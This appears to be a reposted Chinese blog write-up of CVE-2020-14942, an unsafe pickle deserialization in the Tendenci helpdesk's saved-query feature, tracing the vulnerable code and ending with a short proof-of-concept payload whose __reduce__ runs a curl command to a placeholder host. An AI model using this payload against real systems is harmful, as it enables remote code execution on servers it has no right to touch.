记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

CVE-2020-14942-Python Tendenci Unserialize

2020-06-22 13:58

反序列化

来自一个开源协会管理系统,文件tendenci\apps\helpdesk\views\staff.py

def ticket_list(request):    context = {}    ......    if request.GET.get('saved_query', None):            from_saved_query = True            try:                saved_query = SavedSearch.objects.get(pk=request.GET.get('saved_query'))            except SavedSearch.DoesNotExist:                return HttpResponseRedirect(reverse('helpdesk_list'))            if not (saved_query.shared or saved_query.user == request.user):                return HttpResponseRedirect(reverse('helpdesk_list'))            import pickle            from base64 import b64decode            query_params = pickle.loads(b64decode(str(saved_query.query).encode()))        elif not (  'queue' in request.GET                or  'assigned_to' in request.GET                or  'status' in request.GET                or  'q' in request.GET                or  'sort' in request.GET                or  'sortreverse' in request.GET                    ):

从上面代码看出,这是一个从views中获取参数saved_query,通过id判断请求的用户和数据所属用户身份,正确后反序列化其中的query值,那么这个数据库是如下,保存的是一个文本字段。

class SavedSearch(models.Model):    ......    query = models.TextField(        _('Search Query'),        help_text=_('Pickled query object. Be wary changing this.'),        )

如何去处理这个字段的值,在上个文件中,找到保存的处理方法。从post中获取query_encoded,判断不为空则直接保存进数据库。

def save_query(request):    title = request.POST.get('title', None)    shared = request.POST.get('shared', False) in ['on', 'True', True, 'TRUE']    query_encoded = request.POST.get('query_encoded', None)    if not title or not query_encoded:        return HttpResponseRedirect(reverse('helpdesk_list'))    query = SavedSearch(title=title, shared=shared, query=query_encoded, user=request.user)    query.save()

那么如何调用的,同样去搜索关键词save_query找到路由,找到对应的name为helpdesk_savequery,找到对应的前端表单

<form method='post' action='{% url 'helpdesk_savequery' %}'>    <input type='hidden' name='query_encoded' value='{{ urlsafe_query }}' />    <dl>        <dt><label for='id_title'>{% trans "Query Name" %}</label></dt>        <dd><input type='text' name='title' id='id_title' /></dd>        <dd class='form_help_text'>{% trans "This name appears in the drop-down list of saved queries. If you share your query, other users will see this name, so choose something clear and descriptive!" %}</dd>        <dt><label for='id_shared'>{% trans "Shared?" %}</label></dt>        <dd><input type='checkbox' name='shared' id='id_shared' /> {% trans "Yes, share this query with other users." %}</dd>        <dd class='form_help_text'>{% trans "If you share this query, it will be visible by all other logged-in users." %}</dd>    </dl>    <div class='buttons'>        <input class="btn btn-primary" type='submit' value='{% trans "Save Query" %}'>    </div>    {% csrf_token %}</form>

从表单中可以看到,query_encoded是模板写入,找到urlsafe_query看是如何调用的,从调用结果看,就知道是后台先去序列化然后赋值给模板,前端模板操作的时候,再把这个序列化的值传入后台中去反序列化。

......    import pickle    from base64 import b64encode    urlsafe_query = b64encode(pickle.dumps(query_params)).decode()

尝试构造一个反序列化的poc

import pickle,osfrom base64 import b64encodeclass exp(object):    def __reduce__(self):        return (os.system,('curl http://xxxx/py',))e = exp()b64encode(pickle.dumps(e))
知识来源: /2020/06/CVE-2020-14942-Python-Tendenci-Unserialize/

阅读:6577 | 评论:0 | 标签:CVE

想收藏或者和大家分享这篇好文章→复制链接地址

“CVE-2020-14942-Python Tendenci Unserialize”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词